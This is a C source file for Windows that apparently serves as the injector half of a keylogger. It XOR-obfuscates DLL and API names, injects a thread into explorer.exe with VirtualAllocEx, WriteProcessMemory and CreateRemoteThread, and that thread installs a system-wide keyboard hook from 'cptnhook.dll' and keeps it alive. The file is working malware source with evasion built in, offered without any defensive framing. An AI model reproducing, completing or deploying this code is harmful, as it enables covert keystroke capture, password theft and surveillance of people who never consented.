#include <Windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <tchar.h>
#include <TlHelp32.h>

#include "peterpan.h"

#undef UNICODE
#undef _UNICODE

#define SLEEP_QUANTA 50000

/*
 * the key to encrypt the text with
 */
#define ENCRIPTION_KEY 0xC7

/*
 * macro for encrypt char
 */
#define ENC_CH(ch) (ch)^ENCRIPTION_KEY

char gHookDllNameStr[] = {ENC_CH('c'),ENC_CH('p'),ENC_CH('t'),ENC_CH('n'),ENC_CH('h'),ENC_CH('o'),ENC_CH('o'),ENC_CH('k'),ENC_CH('.'),ENC_CH('d'),ENC_CH('l'),ENC_CH('l'),ENC_CH(0)};
char gUser32Str[] = {ENC_CH('U'),ENC_CH('s'),ENC_CH('e'),ENC_CH('r'),ENC_CH('3'),ENC_CH('2'),ENC_CH('.'),ENC_CH('d'),ENC_CH('l'),ENC_CH('l'),ENC_CH(0)};
char gHookProcStr[] = {ENC_CH('H'),ENC_CH('o'),ENC_CH('o'),ENC_CH('k'),ENC_CH('P'),ENC_CH('r'),ENC_CH('o'),ENC_CH('c'),ENC_CH(0)};
char gSetWindowsHookExAStr[] = {ENC_CH('S'),ENC_CH('e'),ENC_CH('t'),ENC_CH('W'),ENC_CH('i'),ENC_CH('n'),ENC_CH('d'),ENC_CH('o'),ENC_CH('w'),ENC_CH('s'),ENC_CH('H'),ENC_CH('o'),ENC_CH('o'),ENC_CH('k'),ENC_CH('E'),ENC_CH('x'),ENC_CH('A'),ENC_CH(0)};

char gKernel32Str[] = {ENC_CH('K'),ENC_CH('e'),ENC_CH('r'),ENC_CH('n'),ENC_CH('e'),ENC_CH('l'),ENC_CH('3'),ENC_CH('2'),ENC_CH('.'),ENC_CH('d'),ENC_CH('l'),ENC_CH('l'),ENC_CH(0)};

char gLoadLibraryA[] = {ENC_CH('L'),ENC_CH('o'),ENC_CH('a'),ENC_CH('d'),ENC_CH('L'),ENC_CH('i'),ENC_CH('b'),ENC_CH('r'),ENC_CH('a'),ENC_CH('r'),ENC_CH('y'),ENC_CH('A'),ENC_CH(0)};
char gGetProcAddress[] = {ENC_CH('G'),ENC_CH('e'),ENC_CH('t'),ENC_CH('P'),ENC_CH('r'),ENC_CH('o'),ENC_CH('c'),ENC_CH('A'),ENC_CH('d'),ENC_CH('d'),ENC_CH('r'),ENC_CH('e'),ENC_CH('s'),ENC_CH('s'),ENC_CH(0)};
char gSleep[] = {ENC_CH('S'),ENC_CH('l'),ENC_CH('e'),ENC_CH('e'),ENC_CH('p'),ENC_CH(0)};

#define ENC_TCH(ch) (_T(ch)^ENCRIPTION_KEY)

TCHAR gLoaderProcessNameStr[] = {ENC_TCH('e'),ENC_TCH('x'),ENC_TCH('p'),ENC_TCH('l'),ENC_TCH('o'),ENC_TCH('r'),ENC_TCH('e'),ENC_TCH('r'),ENC_TCH('.'),ENC_TCH('e'),ENC_TCH('x'),ENC_TCH('e'),ENC_TCH('\0')};

#define PROG_RET_ERROR -1

#define MAX_LOG_SIZE 1024

//the upper bound on the function size to copy to the remote thread
#define THREAD_FUNCTION_SIZE 320

//fwd dcl
typedef HMODULE (WINAPI * LoadLibraryAProc)(LPCSTR lpFilename);
typedef FARPROC (WINAPI * GetProcAddressProc)(HMODULE hModule, LPCSTR lpProcName);
typedef HHOOK (WINAPI * SetWindowsHookExProc)(int idHook, HOOKPROC lpfn, HINSTANCE hMod, DWORD dwThreadId);
typedef VOID (WINAPI * SleepProc)(DWORD dwMilliseconds);


#define FIX_STR_LEN(str) sizeof(str)/sizeof(char)


/*
 * data structure to be passed to the remote thread
 */
typedef struct
{
	//cptnhook.dll\0
	char hookDllNameStr[13];
	
	//HookProc
	char hookProcStr[9];

	//SetWindowsHookEx\0
	char setWindowsHookExAStr[18];
	
	//user32.dll/n
	char user32Str[11];


	/*
	 * Kernel32.dll functions been used by the hook setter
	 */
	LoadLibraryAProc loadLibraryA;

	GetProcAddressProc getProcAddress;

	SleepProc sleep;
	
}HookPayload;

/*
 * this function decrypt a given string
 */
void decryptTCharString(TCHAR* msg,size_t size)
{
	size_t i;
	for(i = 0 ; i < size ;  ++i)
	{
		msg[i]^=ENCRIPTION_KEY;
	}
}


/*
 * this function decrypt a given string
 */
void decryptString(char* msg,size_t size)
{
	size_t i;
	for(i = 0 ; i < size ;  ++i)
	{
		msg[i]^=ENCRIPTION_KEY;
	}
}

/*
 * this function decrypt all strings
 */
void decryptAllStrings()
{
	decryptString(gHookDllNameStr,FIX_STR_LEN(gHookDllNameStr));
	decryptString(gUser32Str,FIX_STR_LEN(gUser32Str));
	decryptString(gHookProcStr,FIX_STR_LEN(gHookProcStr));
	decryptString(gSetWindowsHookExAStr,FIX_STR_LEN(gSetWindowsHookExAStr));
	decryptString(gKernel32Str,FIX_STR_LEN(gKernel32Str));
	decryptString(gLoadLibraryA,FIX_STR_LEN(gLoadLibraryA));
	decryptString(gGetProcAddress,FIX_STR_LEN(gGetProcAddress));
	decryptString(gSleep,FIX_STR_LEN(gSleep));
	decryptTCharString(gLoaderProcessNameStr,sizeof(gLoaderProcessNameStr)/sizeof(TCHAR));
}

//printf like function for debugging
void myDBGPrint(const TCHAR* formatStr, ...) {
	TCHAR buffer[MAX_LOG_SIZE];
	va_list args;
	va_start(args, formatStr);
	_vstprintf_s(buffer, MAX_LOG_SIZE, formatStr, args);
	va_end(args);
	OutputDebugString(buffer);
}

/*
 * find process ID by the provess' name
 * return TRUE on success and false on failure
 */
BOOL GetProcessIDByName(PCWSTR name,DWORD* pId)
{
    // Create toolhelp snapshot.
    HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    PROCESSENTRY32 process;
	BOOL retVal = FALSE;

    ZeroMemory(&process, sizeof(process));
    process.dwSize = sizeof(process);

	

	if (snapshot == INVALID_HANDLE_VALUE)
	{
		_tprintf(_T("Error: can't enumerate process list\n"));		
		return FALSE;
	}

	// Walkthrough all processes.
    if (Process32First(snapshot, &process))
    {
        do
        {
			//check if the process' name match the given name
			
			if (_tcsncmp(name,process.szExeFile,MAX_PATH) == 0)
			{
				*pId = process.th32ProcessID;
				retVal = TRUE;
				break;
			}
        } while (Process32Next(snapshot, &process));
		
		
    }

    CloseHandle(snapshot);

    
	return retVal;
	
}


/*
 * this function will be copied and run at the destination thread.
 * the function will load the hook, install it and remain alive to ensure
 * the hook stays alive.
 * turn off all compiler addition since we need neat assembly code (direct asm translation
 * of this function)
 */
#pragma runtime_checks("scu", off)
#pragma strict_gs_check(push, off) 
static DWORD WINAPI setHook(LPVOID lpParameter)
{
	HMODULE hookLib,user32Lib;
 	HOOKPROC hookProc;
	HHOOK hook;
	SetWindowsHookExProc setWindowsHookExProc;
	
	HookPayload* payload;
	
	payload = (HookPayload*)lpParameter;
	//load hook
	hookLib = payload->loadLibraryA((LPCSTR)payload->hookDllNameStr);

	user32Lib = payload->loadLibraryA((LPCSTR)payload->user32Str);

	if (hookLib == NULL || user32Lib == NULL)
	{
		return FALSE;
	}
	//load function from hook
	hookProc = (HOOKPROC)payload->getProcAddress(hookLib, (LPCSTR)payload->hookProcStr);

	if (hookProc == NULL)
	{
		return FALSE;
	}

	setWindowsHookExProc = (SetWindowsHookExProc)payload->getProcAddress(user32Lib,(LPCSTR)payload->setWindowsHookExAStr);

	if (setWindowsHookExProc == NULL)
	{
		return FALSE;
	}
	
	//set hook
	hook = setWindowsHookExProc(WH_KEYBOARD,hookProc,hookLib,0);

	if (hook == NULL)
	{
		return FALSE;
	}

	// hook been installed succesfully
	payload->sleep(INFINITE);
	
	return TRUE;

}
#pragma strict_gs_check(pop) 
#pragma runtime_checks("", restore) 

/*
 * this function prepare the payload, copy strings and set
 * addresses of known functions
 */
BOOL prepareHookPayload(HookPayload* payload)
{
	
	HMODULE kernel32HMod = GetModuleHandleA(gKernel32Str);

	if (kernel32HMod == NULL)
	{
		return FALSE;
	}
	
	strcpy_s(payload->hookDllNameStr,FIX_STR_LEN(payload->hookDllNameStr),gHookDllNameStr);
	strcpy_s(payload->hookProcStr,FIX_STR_LEN(payload->hookProcStr),gHookProcStr);
	strcpy_s(payload->user32Str,FIX_STR_LEN(payload->user32Str),gUser32Str);
	strcpy_s(payload->setWindowsHookExAStr,FIX_STR_LEN(payload->setWindowsHookExAStr),gSetWindowsHookExAStr);

	/*
	 * load Kernel32.dll relevant function real addresses
	 */
	payload->getProcAddress = (GetProcAddressProc)GetProcAddress(kernel32HMod,(LPCSTR)gGetProcAddress);

	if (payload->getProcAddress == NULL)
	{
		return FALSE;
	}

	payload->loadLibraryA = (LoadLibraryAProc)GetProcAddress(kernel32HMod,(LPCSTR)gLoadLibraryA);

	if (payload->loadLibraryA == NULL)
	{
		return FALSE;
	}

	payload->sleep = (SleepProc)GetProcAddress(kernel32HMod,(LPCSTR)gSleep);

	if (payload->sleep == NULL)
	{
		return FALSE;
	}

	return TRUE;
}


int _tmain()
{

	DWORD pid;
	HANDLE processHandle;
	
	//address of the function we are about to copy and run at the remote process
	LPVOID	remoteFunctionAddr = NULL,
			remoteHookPayloadAddr = NULL;
			

	DWORD prevAccessProtection = 0;

	HookPayload hookPayload;

	SIZE_T bytesWritten;

	HANDLE threadHandle = NULL;

	DWORD threadId;

	BOOL status = FALSE;

	decryptAllStrings();

	if (!prepareHookPayload(&hookPayload))
	{
		DBG_MSG(_T("Error: can't set hook payload\n"));
		return -1;
	}
	//get loader process (explorer.exe)
	if (!GetProcessIDByName(gLoaderProcessNameStr,&pid))
	{
		DBG_MSG(_T("Error: Can't find process: %s"),PROCESS_NAME);
		return -1;
	}
	
	processHandle = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION |
										PROCESS_VM_WRITE | PROCESS_VM_READ, 
				                        FALSE, pid);

	if (processHandle == NULL)
	{
		DBG_MSG(_T("Error: Can't open target process\n"));
		return -1;
	}

	
	__try 
	{
		//allocate memory for the payload
		remoteHookPayloadAddr = VirtualAllocEx(processHandle,NULL,sizeof(HookPayload),MEM_COMMIT,PAGE_READWRITE);
		
		if (remoteHookPayloadAddr == NULL)
		{
			__leave;
		}

		//allocate memory for the thread code
		remoteFunctionAddr = VirtualAllocEx(processHandle,NULL,THREAD_FUNCTION_SIZE,MEM_RESERVE | MEM_COMMIT,PAGE_EXECUTE_READWRITE);
		
		if (remoteFunctionAddr == NULL)
		{
			__leave;
		}

		//Allow code execution on allocated memory for the thread code
		if (!VirtualProtectEx(processHandle, remoteFunctionAddr, THREAD_FUNCTION_SIZE, PAGE_EXECUTE_READWRITE, &prevAccessProtection))
		{
			DBG_MSG(_T("Error: Can't change page protection on target process\n"));
			__leave;
		}

		//write the hook payload to the process memory
		if (!WriteProcessMemory(processHandle, remoteHookPayloadAddr, &hookPayload, sizeof(HookPayload), &bytesWritten) ||
			bytesWritten != sizeof(HookPayload)) 
		{
			DBG_MSG(_T("Error writing data memory in remote process"));
			__leave;
		}


		//write the hook payload to the process memory, supress warning since we doing this writing on purpse
#pragma warning(suppress:4152)
		if (!WriteProcessMemory(processHandle, remoteFunctionAddr, &setHook, THREAD_FUNCTION_SIZE, &bytesWritten) ||
			bytesWritten != THREAD_FUNCTION_SIZE) 
		{
			DBG_MSG(_T("Error writing function code in remote process"));
			__leave;
		}

		//create threat at remote process which will run the function we copied and use the data we passed as parameter.
		//suppress the pointers warning since this is done by purpse
#pragma warning(suppress:4055)
		threadHandle = CreateRemoteThread(	processHandle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteFunctionAddr, 
											remoteHookPayloadAddr, 0, &threadId);

		if (threadHandle == NULL) 
		{
			DBG_MSG(_T("Error: Can't create threat at remote process"));
			__leave;
		}

		status = TRUE;

	}
	__finally 
	{
		CloseHandle(processHandle);
	}

	return status == TRUE? 0:-1;
}